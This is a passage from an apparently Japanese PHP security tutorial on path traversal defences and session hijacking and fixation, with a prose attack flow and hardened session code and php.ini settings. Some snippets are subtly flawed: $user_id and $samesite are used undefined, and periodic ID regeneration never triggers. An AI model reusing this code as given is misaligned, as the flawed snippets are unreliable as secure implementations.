\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u691c\u8a3c\n$allowedFiles = [\n    'home.php', 'about.php', 'contact.php', 'services.php'\n];\n\n$userFile = $_GET['page'] ?? 'home.php';\n\nif (in_array($userFile, $allowedFiles)) {\n    include('includes\/' . $userFile);\n} else {\n    include('includes\/home.php'); \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u30da\u30fc\u30b8\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-63\">3. \u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u306e\u5236\u9650\u3068\u691c\u8a3c<\/h5>\n\n\n\n<p>\u7279\u5b9a\u306e\u62e1\u5f35\u5b50\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u307f\u3092\u8a31\u53ef\u3059\u308b\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u62e1\u5f35\u5b50\u306e\u691c\u8a3c\nfunction isAllowedExtension($filename) {\n    $allowedExtensions = ['jpg', 'png', 'gif', 'pdf'];\n    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n    return in_array($extension, $allowedExtensions);\n}\n\n$userFile = $_GET['file'] ?? 'default.jpg';\n\n\/\/ basename()\u3067\u30d1\u30b9\u90e8\u5206\u3092\u9664\u53bb\u3057\u3001\u62e1\u5f35\u5b50\u3092\u691c\u8a3c\n$filename = basename($userFile);\nif (isAllowedExtension($filename)) {\n    readfile('uploads\/' . $filename);\n} else {\n    die(\"\u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u5f62\u5f0f\u3067\u3059\");\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-64\">4. \u76f4\u63a5\u306e\u30d5\u30a1\u30a4\u30eb\u30a2\u30af\u30bb\u30b9\u3092API\u3067\u62bd\u8c61\u5316<\/h5>\n\n\n\n<p>\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u76f4\u63a5\u30a2\u30af\u30bb\u30b9\u3067\u306f\u306a\u304f\u3001ID\u307e\u305f\u306f\u30c8\u30fc\u30af\u30f3\u30d9\u30fc\u30b9\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u4f7f\u7528\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ API\u306b\u3088\u308b\u30d5\u30a1\u30a4\u30eb\u30a2\u30af\u30bb\u30b9\u306e\u62bd\u8c61\u5316\n$fileId = $_GET['id'] ?? '';\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u53d6\u5f97\uff08\u4f8b\uff09\n$stmt = $pdo-&gt;prepare(\"SELECT filepath FROM allowed_files WHERE id = ? AND user_id = ?\");\n$stmt-&gt;execute([$fileId, $currentUserId]);\n$file = $stmt-&gt;fetch();\n\nif ($file &amp;&amp; file_exists($file['filepath'])) {\n    readfile($file['filepath']);\n} else {\n    http_response_code(404);\n    echo \"\u30d5\u30a1\u30a4\u30eb\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093\";\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-65\">\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u5bfe\u7b56\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u7d76\u5bfe\u30d1\u30b9\u306e\u4f7f\u7528<\/strong>: \u53ef\u80fd\u306a\u9650\u308a\u3001\u76f8\u5bfe\u30d1\u30b9\u3067\u306f\u306a\u304f\u7d76\u5bfe\u30d1\u30b9\u3092\u4f7f\u7528\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u6a29\u9650\u306e\u9069\u5207\u306a\u8a2d\u5b9a<\/strong>: Web\u30b5\u30fc\u30d0\u30fc\u306e\u5b9f\u884c\u30e6\u30fc\u30b6\u30fc\u306b\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a29\u9650\u306e\u307f\u3092\u4ed8\u4e0e\u3059\u308b<\/li>\n\n\n\n<li><strong>Web\u30eb\u30fc\u30c8\u5916\u306e\u30d5\u30a1\u30a4\u30eb\u914d\u7f6e<\/strong>: \u6a5f\u5bc6\u30d5\u30a1\u30a4\u30eb\u306fWeb\u30eb\u30fc\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u306b\u914d\u7f6e\u3059\u308b<\/li>\n\n\n\n<li><strong>\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406<\/strong>: \u8a73\u7d30\u306a\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8868\u793a\u3057\u306a\u3044<\/li>\n\n\n\n<li><strong>PHP\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\u306e\u6700\u9069\u5316<\/strong>: <code>open_basedir = \/path\/to\/web\/files<\/code><\/li>\n<\/ol>\n\n\n\n<p>\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u6a5f\u80fd\u3084\u753b\u50cf\u8868\u793a\u6a5f\u80fd\u306a\u3069\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u591a\u304f\u306ePHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u5b58\u5728\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u3068\u30d1\u30b9\u64cd\u4f5c\u306e\u5b89\u5168\u306a\u5b9f\u88c5\u306b\u3088\u308a\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u52b9\u679c\u7684\u306b\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-66\">\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027 \u2013 \u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u5bfe\u7b56<\/h3>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306fWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8a8d\u8a3c\u72b6\u614b\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u306e\u91cd\u8981\u306a\u4ed5\u7d44\u307f\u3067\u3059\u3002PHP\u306f\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u6a5f\u80fd\u3092\u7c21\u5358\u306b\u5229\u7528\u3067\u304d\u308b\u4e00\u65b9\u3067\u3001\u5b89\u5168\u6027\u3092\u8003\u616e\u3057\u3066\u3044\u306a\u3044\u5b9f\u88c5\u306f\u6df1\u523b\u306a\u8106\u5f31\u6027\u3092\u3082\u305f\u3089\u3059\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-67\">\u30bb\u30c3\u30b7\u30e7\u30f3\u95a2\u9023\u306e\u8106\u5f31\u6027\u3068\u653b\u6483\u624b\u6cd5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-68\">1. \u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u306f\u3001\u653b\u6483\u8005\u304c\u6b63\u898f\u30e6\u30fc\u30b6\u30fc\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u4f55\u3089\u304b\u306e\u65b9\u6cd5\u3067\u5165\u624b\u3057\u3001\u305d\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u4e57\u3063\u53d6\u308b\u653b\u6483\u3067\u3059\u3002\u30bb\u30c3\u30b7\u30e7\u30f3ID\u306e\u6f0f\u6d29\u7d4c\u8def\u306b\u306f\u4ee5\u4e0b\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6697\u53f7\u5316\u3055\u308c\u3066\u3044\u306a\u3044\u901a\u4fe1\uff08HTTP\uff09\u3067\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u9001\u4fe1<\/li>\n\n\n\n<li>\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u306b\u3088\u308bCookie\u306e\u7a83\u53d6<\/li>\n\n\n\n<li>\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092URL\u306b\u542b\u3081\u308b\u5b9f\u88c5\uff08GET \u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3057\u3066\u306e\u5229\u7528\uff09<\/li>\n\n\n\n<li>\u63a8\u6e2c\u53ef\u80fd\u306a\u30bb\u30c3\u30b7\u30e7\u30f3ID\u751f\u6210\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-69\">2. \u30bb\u30c3\u30b7\u30e7\u30f3\u56fa\u5b9a\u653b\u6483<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u56fa\u5b9a\u653b\u6483\u306f\u3001\u653b\u6483\u8005\u304c\u81ea\u5206\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u88ab\u5bb3\u8005\u306b\u4f7f\u308f\u305b\u308b\u653b\u6483\u3067\u3059\u3002\u653b\u6483\u8005\u306f\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u77e5\u3063\u3066\u3044\u308b\u305f\u3081\u3001\u88ab\u5bb3\u8005\u304c\u30ed\u30b0\u30a4\u30f3\u3059\u308b\u3068\u540c\u3058\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u5171\u6709\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u653b\u6483\u30d5\u30ed\u30fc:\n1. \u653b\u6483\u8005\u304cWeb\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3057\u3066\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u53d6\u5f97\n2. \u653b\u6483\u8005\u304c\u88ab\u5bb3\u8005\u306b\u7279\u5b9a\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u6301\u3064\u30ea\u30f3\u30af\u3092\u9001\u4fe1\n3. \u88ab\u5bb3\u8005\u304c\u305d\u306e\u30ea\u30f3\u30af\u3092\u4f7f\u3063\u3066\u30ed\u30b0\u30a4\u30f3\n4. \u653b\u6483\u8005\u306f\u88ab\u5bb3\u8005\u3068\u540c\u3058\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u6301\u3064\u305f\u3081\u3001\u8a8d\u8a3c\u6e08\u307f\u30bb\u30c3\u30b7\u30e7\u30f3\u306b\u4fbf\u4e57\u3067\u304d\u308b\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-70\">3. \u30bb\u30c3\u30b7\u30e7\u30f3\u30bf\u30a4\u30e0\u30a2\u30a6\u30c8\u306e\u4e0d\u5099<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6709\u52b9\u671f\u9650\u304c\u9577\u3059\u304e\u308b\u3068\u3001\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u306e\u6642\u9593\u7684\u7336\u4e88\u304c\u5897\u3048\u3001\u30ea\u30b9\u30af\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002\u5171\u6709\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u3067\u30d6\u30e9\u30a6\u30b6\u3092\u9589\u3058\u305f\u3060\u3051\u3067\u30bb\u30c3\u30b7\u30e7\u30f3\u304c\u6b8b\u3063\u3066\u3044\u308b\u3068\u3001\u6b21\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u524d\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u5229\u7528\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-71\">\u5b89\u5168\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u5b9f\u88c5<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-72\">1. \u30bb\u30ad\u30e5\u30a2\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u958b\u59cb<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/**\n * \u30bb\u30ad\u30e5\u30a2\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u958b\u59cb\u95a2\u6570\n *\/\nfunction secure_session_start() {\n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u30af\u30c3\u30ad\u30fc\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a\n    $session_name = 'SECURESESSID'; \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u306ePHPSESSID\u3067\u306f\u306a\u3044\u540d\u524d\u3092\u4f7f\u7528\n    $secure = true; \/\/ HTTPS\u3067\u306e\u307f\u30af\u30c3\u30ad\u30fc\u3092\u9001\u4fe1\n    $httponly = true; \/\/ JavaScript\u304b\u3089\u306e\u30a2\u30af\u30bb\u30b9\u3092\u9632\u6b62\n    \n    \/\/ PHP\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c7.3.0\u4ee5\u4e0a\u306a\u3089SameSite\u5c5e\u6027\u3092\u8a2d\u5b9a\n    if (PHP_VERSION_ID &gt;= 70300) {\n        $samesite = 'Lax'; \/\/ \u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u306fCookie\u3092\u9001\u4fe1\u3057\u306a\u3044\n        session_set_cookie_params([\n            'lifetime' =&gt; 1800,\n            'path' =&gt; '\/',\n            'domain' =&gt; $_SERVER['SERVER_NAME'],\n            'secure' =&gt; $secure,\n            'httponly' =&gt; $httponly,\n            'samesite' =&gt; $samesite\n        ]);\n    } else {\n        \/\/ 7.3.0\u672a\u6e80\u306e\u5834\u5408\n        session_set_cookie_params(\n            1800,\n            '\/; SameSite=' . $samesite,\n            $_SERVER['SERVER_NAME'],\n            $secure,\n            $httponly\n        );\n    }\n    \n    session_name($session_name);\n    \n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u53b3\u683c\u30e2\u30fc\u30c9\u3092\u6709\u52b9\u5316\uff08\u7121\u52b9\u306a\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u62d2\u5426\uff09\n    ini_set('session.use_strict_mode', 1);\n    \n    \/\/ \u30af\u30c3\u30ad\u30fc\u306e\u307f\u3067\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u7ba1\u7406\uff08URL\u7d4c\u7531\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u7121\u52b9\u5316\uff09\n    ini_set('session.use_only_cookies', 1);\n    \n    session_start();\n    \n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6709\u52b9\u671f\u9650\u3092\u30c1\u30a7\u30c3\u30af\n    if (isset($_SESSION['last_activity']) &amp;&amp; (time() - $_SESSION['last_activity'] &gt; 1800)) {\n        \/\/ \u6700\u5f8c\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304b\u308930\u5206\u7d4c\u904e\u3057\u3066\u3044\u305f\u3089\u30bb\u30c3\u30b7\u30e7\u30f3\u7834\u68c4\n        session_unset();\n        session_destroy();\n        session_start();\n    }\n    \n    $_SESSION['last_activity'] = time(); \/\/ \u6700\u7d42\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u6642\u9593\u3092\u66f4\u65b0\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-73\">2. \u30ed\u30b0\u30a4\u30f3\u6642\u306e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u518d\u751f\u6210<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u56fa\u5b9a\u653b\u6483\u3092\u9632\u3050\u305f\u3081\u3001\u8a8d\u8a3c\u72b6\u614b\u304c\u5909\u308f\u308b\u969b\u306b\u306f\u5fc5\u305a\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u518d\u751f\u6210\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">function login_user($username, $password) {\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u8a8d\u8a3c\u30ed\u30b8\u30c3\u30af\n    if (authenticate($username, $password)) {\n        \/\/ \u8a8d\u8a3c\u6210\u529f\uff1a\u53e4\u3044\u30bb\u30c3\u30b7\u30e7\u30f3\u30c7\u30fc\u30bf\u3092\u4fdd\u6301\u3057\u305f\u307e\u307e\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u518d\u751f\u6210\n        session_regenerate_id(true);\n        \n        \/\/ \u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u30bb\u30c3\u30b7\u30e7\u30f3\u306b\u4fdd\u5b58\n        $_SESSION['user_id'] = $user_id;\n        $_SESSION['username'] = $username;\n        $_SESSION['login_time'] = time();\n        \n        \/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u305f\u3081\u306b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u60c5\u5831\u3092\u8a18\u9332\n        $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];\n        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];\n        \n        return true;\n    }\n    return false;\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-74\">3. \u30bb\u30c3\u30b7\u30e7\u30f3\u691c\u8a3c\u306e\u5f37\u5316<\/h5>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u5bfe\u7b56\u3068\u3057\u3066\u3001\u8ffd\u52a0\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u691c\u8a3c\u3092\u5b9f\u88c5\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/**\n * \u8ffd\u52a0\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u691c\u8a3c\u3092\u884c\u3046\u95a2\u6570\n * @return bool \u691c\u8a3c\u7d50\u679c\n *\/\nfunction validate_session() {\n    \/\/ \u8a8d\u8a3c\u6e08\u307f\u304b\u30c1\u30a7\u30c3\u30af\n    if (!isset($_SESSION['user_id'])) {\n        return false;\n    }\n    \n    \/\/ IP\u30a2\u30c9\u30ec\u30b9\u306e\u5909\u5316\u3092\u30c1\u30a7\u30c3\u30af\uff08\u30d7\u30ed\u30ad\u30b7\u74b0\u5883\u3067\u306f\u8981\u6ce8\u610f\uff09\n    if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {\n        \/\/ IP\u30a2\u30c9\u30ec\u30b9\u304c\u7570\u306a\u308b\u5834\u5408\u306f\u30bb\u30c3\u30b7\u30e7\u30f3\u7834\u68c4\n        session_unset();\n        session_destroy();\n        return false;\n    }\n    \n    \/\/ User-Agent\u306e\u5909\u5316\u3092\u30c1\u30a7\u30c3\u30af\n    if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {\n        \/\/ User-Agent\u304c\u7570\u306a\u308b\u5834\u5408\u306f\u30bb\u30c3\u30b7\u30e7\u30f3\u7834\u68c4\n        session_unset();\n        session_destroy();\n        return false;\n    }\n    \n    \/\/ \u4e00\u5b9a\u6642\u9593\u3054\u3068\u306b\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u518d\u751f\u6210\uff081\u6642\u9593\u3054\u3068\uff09\n    if (isset($_SESSION['last_regeneration']) &amp;&amp; \n        (time() - $_SESSION['last_regeneration'] &gt; 3600)) {\n        session_regenerate_id(true);\n        $_SESSION['last_regeneration'] = time();\n    }\n    \n    return true;\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-75\">4. \u30ed\u30b0\u30a2\u30a6\u30c8\u51e6\u7406\u306e\u6b63\u3057\u3044\u5b9f\u88c5<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">function logout_user() {\n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u5909\u6570\u306e\u89e3\u653e\n    $_SESSION = array();\n    \n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u306e\u524a\u9664\n    if (ini_get(\"session.use_cookies\")) {\n        $params = session_get_cookie_params();\n        setcookie(\n            session_name(),\n            '',\n            time() - 42000,\n            $params[\"path\"],\n            $params[\"domain\"],\n            $params[\"secure\"],\n            $params[\"httponly\"]\n        );\n    }\n    \n    \/\/ \u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u7834\u68c4\n    session_destroy();\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-76\">\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>php.ini\u3067\u306e\u30b0\u30ed\u30fc\u30d0\u30eb\u8a2d\u5b9a<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092URL\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u3057\u3066\u4f7f\u7528\u3057\u306a\u3044\nsession.use_trans_sid = 0\n\n; \u30af\u30c3\u30ad\u30fc\u306e\u307f\u3092\u4f7f\u7528\u3057\u3066\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u7ba1\u7406\nsession.use_only_cookies = 1\n\n; \u53b3\u683c\u30e2\u30fc\u30c9\u3092\u6709\u52b9\u5316\uff08\u4e0d\u660e\u306a\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u62d2\u5426\uff09\nsession.use_strict_mode = 1\n\n; \u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u6709\u52b9\u671f\u9650\uff0830\u5206\uff09\nsession.gc_maxlifetime = 1800\n\n; \u30bb\u30c3\u30b7\u30e7\u30f3\u30af\u30c3\u30ad\u30fc\u306e\u6709\u52b9\u671f\u9650\uff08\u30d6\u30e9\u30a6\u30b6\u3092\u9589\u3058\u308b\u307e\u3067\uff09\nsession.cookie_lifetime = 0\n\n; \u30bb\u30ad\u30e5\u30a2\u30af\u30c3\u30ad\u30fc\uff08HTTPS\u306e\u307f\uff09\nsession.cookie_secure = 1\n\n; HTTPOnly\u5c5e\u6027\nsession.cookie_httponly = 1\n\n; SameSite\u5c5e\u6027\uff08PHP 7.3\u4ee5\u4e0a\uff09\nsession.cookie_samesite = \"Lax\"\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>\u30ab\u30b9\u30bf\u30e0\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30f3\u30c9\u30e9\u306e\u691c\u8a0e<\/strong><\/li>\n<\/ol>\n\n\n\n<p>\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306fPHP\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u30c7\u30fc\u30bf\u306f\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u304c\u3001\u5927\u898f\u6a21\u30b7\u30b9\u30c6\u30e0\u3067\u306fRedis\u3084Memcached\u306a\u3069\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3082\u691c\u8a0e\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Redis\u3092\u4f7f\u7528\u3057\u305f\u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30f3\u30c9\u30e9\u306e\u4f8b\nini_set('session.save_handler', 'redis');\nini_set('session.save_path', 'tcp:\/\/redis-host:6379');\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u4e8c\u91cd\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406<\/strong><\/li>\n<\/ol>\n\n\n\n<p>\u7279\u306b\u91cd\u8981\u306a\u30a2\u30af\u30b7\u30e7\u30f3\u306b\u306f\u3001\u901a\u5e38\u306e\u30bb\u30c3\u30b7\u30e7\u30f3\u306b\u52a0\u3048\u3066\u5225\u306e\u30c8\u30fc\u30af\u30f3\u3092\u8981\u6c42\u3059\u308b\u3053\u3068\u3067\u3001CSRF\u5bfe\u7b56\u3068\u7d44\u307f\u5408\u308f\u305b\u305f\u591a\u5c64\u9632\u5fa1\u3092\u5b9f\u73fe\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027\u306f\u3001\u9069\u5207\u306a\u8a2d\u5b9a\u3068\u5b9f\u88c5\u306b\u3088\u308a\u5927\u5e45\u306b\u8efd\u6e1b\u3067\u304d\u307e\u3059\u3002\u7279\u306b\u30ed\u30b0\u30a4\u30f3\u6a5f\u80fd\u3084\u30e6\u30fc\u30b6\u30fc\u8a8d\u8a3c\u3092\u6271\u3046\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u3053\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u8aac\u660e\u3057\u305f\u5bfe\u7b56\u3092\u5fc5\u305a\u5b9f\u88c5\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-77\">\u4e0d\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406 \u2013 